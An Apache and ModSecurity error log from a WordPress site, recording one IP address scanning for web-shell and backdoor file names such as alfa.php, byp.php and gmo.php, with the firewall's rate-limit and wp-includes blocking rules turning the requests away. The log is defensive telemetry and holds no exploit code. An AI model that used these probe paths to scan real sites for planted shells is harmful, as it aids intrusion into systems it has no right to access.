[Fri Feb 27 16:32:00.074504 2026] [:error] [pid 52073:tid 52092] [client 20.220.232.101:8093] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaFWgIa650YPyxXVeRZzKAAAAZA"]
[Fri Feb 27 16:32:00.664044 2026] [:error] [pid 52073:tid 52086] [client 20.220.232.101:8027] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaFWgIa650YPyxXVeRZzKgAAAYo"]
[Fri Feb 27 16:32:01.192165 2026] [:error] [pid 49306:tid 49327] [client 20.220.232.101:7884] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaFWgfnSUDZue59Px9t_UQAAAVM"]
[Fri Feb 27 16:32:01.732231 2026] [:error] [pid 49306:tid 49323] [client 20.220.232.101:8044] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aaFWgfnSUDZue59Px9t_UgAAAU8"]
[Fri Feb 27 16:32:02.172545 2026] [:error] [pid 49306:tid 49310] [client 20.220.232.101:7939] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aaFWgvnSUDZue59Px9t_VAAAAUI"]
[Fri Feb 27 16:32:02.778723 2026] [:error] [pid 49306:tid 49319] [client 20.220.232.101:8119] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aaFWgvnSUDZue59Px9t_XAAAAUs"]
[Fri Feb 27 16:32:03.264604 2026] [:error] [pid 49306:tid 49315] [client 20.220.232.101:7974] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aaFWg_nSUDZue59Px9t_XwAAAUc"]
[Fri Feb 27 16:32:03.730467 2026] [:error] [pid 52073:tid 52099] [client 20.220.232.101:8177] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aaFWg4a650YPyxXVeRZzKwAAAZc"]
[Fri Feb 27 16:32:04.193945 2026] [:error] [pid 52073:tid 52078] [client 20.220.232.101:8144] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aaFWhIa650YPyxXVeRZzLQAAAYI"]
[Fri Feb 27 16:32:04.721634 2026] [:error] [pid 52073:tid 52080] [client 20.220.232.101:7973] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aaFWhIa650YPyxXVeRZzMQAAAYQ"]
[Fri Feb 27 16:32:05.165661 2026] [:error] [pid 52073:tid 52090] [client 20.220.232.101:7943] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aaFWhYa650YPyxXVeRZzMgAAAY4"]
[Fri Feb 27 16:32:05.627686 2026] [:error] [pid 56075:tid 56100] [client 20.220.232.101:7936] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aaFWhcKBhrfI6KNv9RgtNwAAABY"]
[Fri Feb 27 16:32:06.147154 2026] [:error] [pid 56075:tid 56088] [client 20.220.232.101:7979] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aaFWhsKBhrfI6KNv9RgtOAAAAAs"]
[Fri Feb 27 16:32:06.613268 2026] [:error] [pid 49306:tid 49308] [client 20.220.232.101:7951] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aaFWhvnSUDZue59Px9t_agAAAUA"]
[Fri Feb 27 16:32:07.087243 2026] [:error] [pid 56075:tid 56099] [client 20.220.232.101:8063] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aaFWh8KBhrfI6KNv9RgtOwAAABU"]
[Fri Feb 27 16:32:07.669802 2026] [:error] [pid 56075:tid 56083] [client 20.220.232.101:7977] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aaFWh8KBhrfI6KNv9RgtPQAAAAY"]
[Fri Feb 27 16:32:08.134850 2026] [:error] [pid 52073:tid 52086] [client 20.220.232.101:8012] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aaFWiIa650YPyxXVeRZzNgAAAYo"]
[Fri Feb 27 16:32:08.639827 2026] [:error] [pid 52073:tid 52093] [client 20.220.232.101:7897] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aaFWiIa650YPyxXVeRZzNwAAAZE"]
[Fri Feb 27 16:32:09.108307 2026] [:error] [pid 52073:tid 52076] [client 20.220.232.101:7875] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aaFWiYa650YPyxXVeRZzOQAAAYA"]
[Fri Feb 27 16:32:09.579223 2026] [:error] [pid 52073:tid 52078] [client 20.220.232.101:7965] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaFWiYa650YPyxXVeRZzPQAAAYI"]
[Fri Feb 27 16:32:10.022638 2026] [:error] [pid 49306:tid 49321] [client 20.220.232.101:8042] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaFWivnSUDZue59Px9t_bwAAAU0"]
[Fri Feb 27 16:32:10.514017 2026] [:error] [pid 52073:tid 52080] [client 20.220.232.101:8132] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaFWioa650YPyxXVeRZzPgAAAYQ"]
[Fri Feb 27 16:32:11.114961 2026] [:error] [pid 52073:tid 52094] [client 20.220.232.101:8054] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaFWi4a650YPyxXVeRZzQQAAAZI"]
[Fri Feb 27 16:32:11.650674 2026] [:error] [pid 52073:tid 52085] [client 20.220.232.101:8109] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aaFWi4a650YPyxXVeRZzQwAAAYk"]
[Fri Feb 27 16:32:12.260256 2026] [:error] [pid 54231:tid 54254] [client 20.220.232.101:8015] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aaFWjOTvb5AeyJCdY7DQcAAAAFQ"]
[Fri Feb 27 16:32:12.705002 2026] [:error] [pid 54103:tid 54179] [client 20.220.232.101:8020] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aaFWjOvG4MPCmE0B2sB2SwAAAMg"]
[Fri Feb 27 16:32:13.192780 2026] [:error] [pid 49306:tid 49320] [client 20.220.232.101:8171] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aaFWjfnSUDZue59Px9t_cQAAAUw"]
[Fri Feb 27 16:32:13.638731 2026] [:error] [pid 54231:tid 54238] [client 20.220.232.101:8136] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aaFWjeTvb5AeyJCdY7DQcgAAAEQ"]
[Fri Feb 27 16:32:14.174176 2026] [:error] [pid 49306:tid 49316] [client 20.220.232.101:8011] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aaFWjvnSUDZue59Px9t_dgAAAUg"]
[Fri Feb 27 16:32:14.676701 2026] [:error] [pid 49306:tid 49330] [client 20.220.232.101:8090] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aaFWjvnSUDZue59Px9t_eAAAAVY"]
[Fri Feb 27 16:32:15.174558 2026] [:error] [pid 49306:tid 49319] [client 20.220.232.101:8152] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aaFWj_nSUDZue59Px9t_eQAAAUs"]
[Fri Feb 27 16:32:15.664473 2026] [:error] [pid 54231:tid 54258] [client 20.220.232.101:8055] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaFWj-Tvb5AeyJCdY7DQcwAAAFg"]
[Fri Feb 27 16:32:16.114025 2026] [:error] [pid 54102:tid 54152] [client 20.220.232.101:7999] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aaFWkHi74D4fiYUm_GdImAAAAIg"]
[Fri Feb 27 16:32:16.552937 2026] [:error] [pid 54102:tid 54148] [client 20.220.232.101:8057] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aaFWkHi74D4fiYUm_GdImQAAAIQ"]
[Fri Feb 27 16:32:17.008814 2026] [:error] [pid 56075:tid 56099] [client 20.220.232.101:7888] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aaFWkcKBhrfI6KNv9RgtUgAAABU"]
[Fri Feb 27 16:32:17.509656 2026] [:error] [pid 52073:tid 52083] [client 20.220.232.101:8010] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aaFWkYa650YPyxXVeRZzTgAAAYc"]
[Fri Feb 27 16:32:18.121288 2026] [:error] [pid 56075:tid 56096] [client 20.220.232.101:8039] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aaFWksKBhrfI6KNv9RgtVQAAABI"]
[Fri Feb 27 16:32:18.554295 2026] [:error] [pid 52073:tid 52087] [client 20.220.232.101:8191] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aaFWkoa650YPyxXVeRZzUAAAAYs"]
[Fri Feb 27 16:32:19.156098 2026] [:error] [pid 52073:tid 52092] [client 20.220.232.101:7891] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aaFWk4a650YPyxXVeRZzUwAAAZA"]
[Fri Feb 27 16:32:19.845304 2026] [:error] [pid 52073:tid 52095] [client 20.220.232.101:8037] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aaFWk4a650YPyxXVeRZzVwAAAZM"]
[Fri Feb 27 16:32:20.465173 2026] [:error] [pid 62998:tid 63024] [client 20.220.232.101:7956] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aaFWlFQeueXZDUmoLonw0AAAARY"]
[Fri Feb 27 16:32:21.077859 2026] [:error] [pid 52073:tid 52078] [client 20.220.232.101:7982] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aaFWlYa650YPyxXVeRZzXAAAAYI"]
[Fri Feb 27 16:32:21.600533 2026] [:error] [pid 54231:tid 54243] [client 20.220.232.101:8100] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aaFWleTvb5AeyJCdY7DQdwAAAEk"]
[Fri Feb 27 16:32:22.112953 2026] [:error] [pid 52073:tid 52080] [client 20.220.232.101:7938] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aaFWloa650YPyxXVeRZzXwAAAYQ"]
[Fri Feb 27 16:32:22.692552 2026] [:error] [pid 49306:tid 49329] [client 20.220.232.101:7976] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aaFWlvnSUDZue59Px9t_fQAAAVU"]
[Fri Feb 27 16:32:23.217089 2026] [:error] [pid 54231:tid 54237] [client 20.220.232.101:7910] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aaFWl-Tvb5AeyJCdY7DQeAAAAEM"]
[Fri Feb 27 16:32:23.739127 2026] [:error] [pid 54102:tid 54165] [client 20.220.232.101:7878] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aaFWl3i74D4fiYUm_GdIngAAAJU"]
[Fri Feb 27 16:32:25.668610 2026] [autoindex:error] [pid 54102:tid 54144] [client 20.220.232.101:7873] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 16:32:25.893743 2026] [:error] [pid 54102:tid 54150] [client 20.220.232.101:7873] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "aaFWmXi74D4fiYUm_GdItgAAAIY"]
[Fri Feb 27 16:32:29.890432 2026] [:error] [pid 54103:tid 54193] [client 20.220.232.101:7987] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaFWnevG4MPCmE0B2sB2YAAAANY"]
[Fri Feb 27 16:32:35.873878 2026] [proxy_fcgi:error] [pid 56075:tid 56078] [client 20.220.232.101:7877] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 16:32:43.914508 2026] [:error] [pid 62998:tid 63026] [client 20.220.232.101:8168] [client 20.220.232.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.220.232.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaFWq1QeueXZDUmoLonw4AAAARg"]
[Fri Feb 27 16:32:46.504307 2026] [autoindex:error] [pid 56075:tid 56094] [client 20.220.232.101:7877] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 16:32:48.258277 2026] [:error] [pid 56075:tid 56095] [client 20.220.232.101:7877] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aaFWsMKBhrfI6KNv9RgtcQAAABE"]
[Fri Feb 27 16:32:51.831399 2026] [autoindex:error] [pid 52073:tid 52082] [client 20.220.232.101:7991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 16:32:53.573063 2026] [:error] [pid 52073:tid 52096] [client 20.220.232.101:7991] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaFWtYa650YPyxXVeRZz0AAAAZQ"]
[Fri Feb 27 16:32:54.013365 2026] [:error] [pid 49306:tid 49312] [client 20.220.232.101:8075] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaFWtvnSUDZue59Px9t_mgAAAUQ"]
